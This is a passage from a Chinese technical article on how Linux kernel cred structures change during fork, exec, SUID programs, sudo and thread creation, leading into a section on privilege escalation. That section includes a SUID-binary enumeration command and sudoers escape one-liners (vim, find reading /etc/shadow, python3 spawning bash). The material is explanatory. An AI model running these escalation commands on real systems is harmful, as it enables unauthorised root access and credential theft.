euid=1000)</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ fork()</span><br/><span leaf="">  │    子进程获得独立的 cred_B (uid=1000, euid=1000)</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ 子进程 execve(&#34;/usr/bin/passwd&#34;)</span><br/><span leaf="">  │    1. prepare_exec_creds()</span><br/><span leaf="">  │       分配 cred_C，memcpy cred_B</span><br/><span leaf="">  │       cred_C: uid=1000, euid=1000, suid=1000, fsuid=1000</span><br/><span leaf="">  │</span><br/><span leaf="">  │    2. bprm_fill_uid()</span><br/><span leaf="">  │       检测到 SUID 位 → cred_C-&gt;euid = 0</span><br/><span leaf="">  │       cred_C: uid=1000, euid=0, suid=1000, fsuid=1000</span><br/><span leaf="">  │</span><br/><span leaf="">  │    3. cap_bprm_creds_from_file()</span><br/><span leaf="">  │       处理 capabilities、安全检查</span><br/><span leaf="">  │       同步：cred_C-&gt;suid = cred_C-&gt;fsuid = cred_C-&gt;euid</span><br/><span leaf="">  │       cred_C: uid=1000, euid=0, suid=0, fsuid=0</span><br/><span leaf="">  │</span><br/><span leaf="">  │    4. commit_creds(cred_C)</span><br/><span leaf="">  │       替换进程的 cred 指针，释放 cred_B</span><br/><span leaf="">  │</span><br/><span leaf="">  └─ 结果：</span><br/><span leaf="">       bash   → cred_A (uid=1000, euid=1000)  ← 不变</span><br/><span leaf="">       passwd → cred_C (uid=1000, euid=0, suid=0, fsuid=0)  ← 提权完成</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">注意这里 cred_C 的三步变化：先 memcpy 拷贝（suid/fsuid 同步到当前 euid=1000），再由 SUID 位改 euid=0，最后 cap_bprm_creds_from_file 把 suid/fsuid 同步到新的 euid=0。这就是前面 0x04 中讲的&#34;suid 保存的是新获授的身份&#34;的具体体现。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">3. sudo 执行命令（SUID + setresuid + exec）</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo cat /etc/shadow</span></code><span leaf=""> 的完整流程：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">bash (cred_A: uid=1000, euid=1000)</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ fork() + execve(&#34;/usr/bin/sudo&#34;)</span><br/><span leaf="">  │    同场景二，sudo 获得： (sudo 本身也是一个 SUID 权限的程序)</span><br/><span leaf="">  │    cred_B: uid=1000, euid=0, suid=0, fsuid=0</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ sudo 内部（此时 euid=0，有 root 权限）</span><br/><span leaf="">  │    读取 /etc/sudoers，检查 ubuntu 是否有权限</span><br/><span leaf="">  │    通过 PAM 重新验证用户身份</span><br/><span leaf="">  │    确认可以执行 cat /etc/shadow</span><br/><span leaf="">  │</span><br/><span leaf="">  │    sudo 调用 setresgid(0, 0, 0)</span><br/><span leaf="">  │    → prepare_creds() 分配 cred_C，gid 系列全部设为 0</span><br/><span leaf="">  │    → commit_creds(cred_C)，释放 cred_B</span><br/><span leaf="">  │</span><br/><span leaf="">  │    sudo 调用 setresuid(0, 0, 0)</span><br/><span leaf="">  │    → prepare_creds() 分配 cred_D</span><br/><span leaf="">  │    → uid=0, euid=0, suid=0, fsuid=0（全部设为 root）</span><br/><span leaf="">  │    → commit_creds(cred_D)，释放 cred_C</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ sudo execve(&#34;/bin/cat&#34;)</span><br/><span leaf="">  │    prepare_exec_creds() 分配 cred_E</span><br/><span leaf="">  │    cat 不是 SUID 程序 → 不修改</span><br/><span leaf="">  │    cred_E: uid=0, euid=0, suid=0, fsuid=0</span><br/><span leaf="">  │    释放 cred_D</span><br/><span leaf="">  │</span><br/><span leaf="">  └─ 结果：</span><br/><span leaf="">       bash → cred_A (uid=1000, euid=1000)</span><br/><span leaf="">       cat  → cred_E (uid=0, euid=0, suid=0, fsuid=0)  ← 完全以 root 运行</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">sudo 比直接执行 SUID 程序多了一步：它在获得 euid=0 之后，还主动调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresuid(0,0,0)</span></code><span leaf=""> 把 uid 也改成 0。这是因为 sudo 的设计目标是&#34;以目标用户身份运行命令&#34;，不是&#34;以 SUID 方式运行&#34;——所以它要把所有 UID 字段都设为目标用户的值。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">请注意: sudo 本身就是一个具备 SUID 权限的程序<img alt="image-20260422231141659" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100019406" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=43ed3536&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7icpL221ib6Yh7Ibv7QBZeNp3uOgISEOfVpEtaPn2DwQnoSuHe5PsKmtIzF4LExeEhYIIAKCpuYRsV8mVIS4LbWt3mbduakfI1jcfjXtBNJQA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">4. 创建线程（共享 cred）</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">多线程进程中创建线程：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">主线程 (cred_A: uid=1000, euid=1000, usage=2)</span><br/><span leaf="">  │        ↑ real_cred 和 cred 各持一份引用</span><br/><span leaf="">  │</span><br/><span leaf="">  ├─ clone(CLONE_THREAD)</span><br/><span leaf="">  │    copy_creds() 检测到 CLONE_THREAD</span><br/><span leaf="">  │    → get_cred_many(cred_A, 2)  ← 不创建新对象，refcount += 2</span><br/><span leaf="">  │    新线程的 real_cred 和 cred 也指向 cred_A</span><br/><span leaf="">  │</span><br/><span leaf="">  └─ 结果：</span><br/><span leaf="">       主线程   → cred_A (usage=4)  ← 同一个对象</span><br/><span leaf="">       新线程   → cred_A (usage=4)  ↑ real_cred 和 cred 各 +1，两个线程共 4</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">线程之间共享 cred 是常态。一个多线程进程创建了 50 个工作线程，内核内存中只有一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 对象被 50 个线程同时引用。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这也意味着如果某个线程修改了自己的 cred（比如调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresuid</span></code><span leaf="">），COW 机制会为该线程创建独立的新 cred，其他线程不受影响。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">5. 总结对照</span></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">场景</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">fork</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">exec</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">cred 变化</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">普通命令 </span><code><span leaf="">ls</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">新建副本</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">新建副本，内容不变</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">全部不变：uid=1000, euid=1000, suid=1000, fsuid=1000</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SUID 程序 </span><code><span leaf="">passwd</span></code></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">新建副本</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">新建副本 + bprm_fill_uid 修改 euid</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">uid 不变(1000)，euid/suid/fsuid: 1000 → 0</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">sudo 执行命令</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">新建副本</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">第一次 exec sudo：SUID 使 euid=0 → setresuid(0,0,0) 全设 root → 第二次 exec cat：普通继承</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">uid: 1000 → 0，其余已经为 0，最终全部为 0</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">创建线程</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">不创建新 cred，共享</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">—</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">不变，共享同一对象</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SSH 登录（0x06 已详述）</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">—</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">setgid → initgroups → setresuid → exec bash</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">uid/euid/suid/fsuid: 0 → 1000，gid: 0 → 1000，补充组加载</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">核心规律：</span></strong><span leaf=""> fork 和 exec 都会调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">prepare_creds()</span></code><span leaf=""> 创建新 cred 对象（线程除外）。cred 的修改永远遵循 prepare → modify → commit 三步模式，不会原地修改字段值。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x08 提权的本质</span></span></h2><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在网络安全领域，&#34;提权&#34;（Privilege Escalation）是最常见的攻击目标之一。攻击者在获得初始访问后（例如拿到了一个低权限 shell），通常需要提升权限才能完成更有价值的操作。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面七节的内容已经完全覆盖了理解提权所需的所有基础知识。这一节用 cred 的视角重新审视提权，你会发现所有提权手法归结到内核层面只有一件事。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">1. 提权的唯一定义</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">提权 = 让进程拿到更强的 cred</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">&#34;更强&#34;可以是以下任何一种变化：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">变化</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">效果</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">举例</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">euid</span></code><p><span leaf=""> 从非 0 变成 0</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">获得 root 身份，几乎可以做任何事</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SUID 程序、sudo</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">cap_effective</span></code><p><span leaf=""> 获得额外 capability</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">绕过特定权限限制</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">File Capabilities</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">LSM 上下文从受限变为不受限</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">绕过 SELinux/AppArmor 约束</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SELinux 策略配置错误</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">进入更高权限的 user_namespace</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">在容器中获得宿主范围的权限</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">容器逃逸</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">无论攻击者用什么手法、走什么路径，最终目标都是让某个进程的 cred 变成上述状态之一。理解了这一点，就能把所有提权手法归类到统一的框架下。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">2. SUID 程序——内核替你改 cred</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">0x07 已经展示了 SUID 程序的正常工作流程：</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">execve()</span></code><span leaf=""> 时 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">bprm_fill_uid()</span></code><span leaf=""> 检测到 SUID 位，自动将新进程的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">euid</span></code><span leaf=""> 设为文件属主。这是内核设计的合法机制，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">passwd</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">sudo</span></code><span leaf="">、</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">su</span></code><span leaf=""> 都依赖它工作。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">攻击者的思路是：</span><strong style="font-weight: bold;color: black;"><span leaf="">找到系统中那些属主为 root 且设置了 SUID 位的程序，利用其中的逻辑缺陷来执行任意代码。</span></strong></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">常见的发现方式：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 查找系统中所有 SUID 程序</span></span><br/><span leaf="">find / -perm -4000 -</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">type</span></span><span leaf=""> f 2&gt;/dev/null</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 典型输出：</span></span><br/><span leaf="">/usr/bin/sudo</span><br/><span leaf="">/usr/bin/passwd</span><br/><span leaf="">/usr/bin/su</span><br/><span leaf="">/usr/bin/newgrp</span><br/><span leaf="">/usr/bin/gpasswd</span><br/><span leaf="">/usr/bin/chsh</span><br/><span leaf="">/usr/bin/chfn</span><br/><span leaf="">/usr/</span><span style="color: #e6c07b;line-height: 26px;"><span leaf="">local</span></span><span leaf="">/bin/custom_backup  ← 自定义程序，可能有问题</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">假设 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/usr/local/bin/custom_backup</span></code><span leaf=""> 是一个 SUID-root 程序，内部调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">system(&#34;tar cf /tmp/backup.tar /some/path&#34;)</span></code><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">攻击流程：</span><br/><span leaf="">  攻击者 shell (uid=1000, euid=1000)</span><br/><span leaf="">    │</span><br/><span leaf="">    ├─ execve(&#34;/usr/local/bin/custom_backup&#34;)</span><br/><span leaf="">    │    内核 bprm_fill_uid() 检测到 SUID 位</span><br/><span leaf="">    │    新 cred: uid=1000, euid=0, suid=0, fsuid=0</span><br/><span leaf="">    │    ↑ euid 已经是 root！</span><br/><span leaf="">    │</span><br/><span leaf="">    ├─ custom_backup 内部调用 system(&#34;tar cf ...&#34;)</span><br/><span leaf="">    │    system() 通过 /bin/sh -c 执行</span><br/><span leaf="">    │    攻击者通过 PATH 环境变量控制 /bin/sh 指向自己的程序</span><br/><span leaf="">    │    或者利用 tar 的参数注入</span><br/><span leaf="">    │</span><br/><span leaf="">    └─ 攻击者的代码以 euid=0 运行</span><br/><span leaf="">         → 完全控制 cred，任意操作</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">cred 视角</span></strong><span leaf="">：内核在 execve 时帮你把 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">euid</span></code><span leaf=""> 改成了 0，攻击者只需要找到一种方式让这个 euid=0 的进程执行自己的代码。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">GTFOBins (<a href="https://gtfobins.github.io/)" target="_blank">https://gtfobins.github.io/)</a> 是一个公开的资源，收录了 Unix 系统中可被利用的合法程序及其 SUID/sudo 等利用方式。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">3. sudo 配置不当——合法的提权通道</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">sudo 本身就是一个 SUID-root 程序（0x07 已详述），它的设计目标就是&#34;让授权用户以其他用户身份执行命令&#34;。如果 sudoers 配置不当，攻击者不需要任何漏洞就能提权。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">常见的危险配置：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># /etc/sudoers 中的危险配置示例</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 危险：允许无密码执行任何命令</span></span><br/><span leaf="">ubuntu ALL=(ALL) NOPASSWD: ALL</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 危险：允许以 root 执行可以逃逸的程序</span></span><br/><span leaf="">ubuntu ALL=(root) NOPASSWD: /usr/bin/vim</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># vim 中执行 :!bash 即可获得 root shell</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 危险：允许执行可以读写文件的程序</span></span><br/><span leaf="">ubuntu ALL=(root) NOPASSWD: /usr/bin/find</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># sudo find /etc/shadow -exec cat {} \;</span></span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 危险：允许执行解释器</span></span><br/><span leaf="">ubuntu ALL=(root) NOPASSWD: /usr/bin/python3</span><br/><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># sudo python3 -c &#39;import os; os.system(&#34;/bin/bash&#34;)&#39;</span></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">cred 视角</span></strong><span leaf="">：sudo 通过 SUID 机制获得 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">euid=0</span></code><span leaf="">，然后调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">setresuid(0,0,0)</span></code><span leaf=""> 将所有 UID 字段设为 0，再 exec 目标命令。整个过程都是&#34;合法&#34;的 cred 变更，内核不会阻止。攻击者做的只是让 sudo exec 了一个能逃逸到 shell 的程序。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">4. Capabilities——比 SUID 更细粒度的提权</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">SUID 是&#34;全有或全无&#34;的提权——euid 一变成 0，进程就获得了 root 的全部权限。Linux 从 2.2 开始引入 Capabilities 机制，将 root 权限拆分成独立的&#34;能力&#34;，前面 0x04 已经介绍了 cred 中的 5 个 capability 集合。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对攻击者来说，Capabilities 同样可以成为提权路径。关键在于某些 capability 本身就足够危险：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">Capability</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 